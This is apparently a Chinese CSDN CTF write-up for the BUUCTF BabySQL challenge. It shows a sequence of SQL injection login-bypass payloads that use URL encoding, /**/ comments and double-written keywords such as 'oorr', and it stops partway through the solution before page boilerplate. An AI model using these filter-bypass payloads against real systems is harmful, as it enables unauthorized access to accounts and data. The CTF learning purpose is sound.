【BUUCTF-Web】[极客大挑战 2019]BabySQL

本文详细记录了一次SQL注入的解题过程,从绕过过滤到找到回显点,再到爆破表名和列名,最终获取flag。介绍了多种SQL注入技巧,包括大小写变形、URL编码、藏字符等方法,适用于理解Web安全和SQL防御。
摘要由CSDN通过智能技术生成

0x01 Subject

Baby SQL => 注入漏洞


0x02 Mind Palace

这里的提示是 => 做了严格的过滤 => 关键在绕过(maybe)

/check.php?username=xxx&password=xxx

select x,x from table where username = xxx and password = xxx

payload = /check.php?username=root%27+or+1%3D1%3B%23&password=root

但是感觉上是注释符被过滤了或者and or被过滤了

=> root%27+or+1%3D1%3B%23 | root’ or 1=1;#

假设是or被过滤了,用url编码一下试试%6f%72

=> root%27+%6f%72+1%3D1%3B%23 | root’ or 1=1;#

反馈:1=1;#’ 附近有语法错误

那可能是; or #被过滤?

=> root%27/**/%6f%72/**/1%3D1%3B%23

=> root%27/**/oorr/**/1%3D1%3B%23

=> root%27%2520oorr%25201%3D1%3B%23 | root’%20oorr%201=1;#

反馈:Unknown column ‘20or’ in ‘where clause’

好像发现了什么不得了的东西 emm

过滤是肯定有过滤的 ;; oorr的绕过好像是没问题的

因为上面是在抓包的情况下改的 我们直接试试去登陆界面输入

root = root' oorr 1=1;#

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值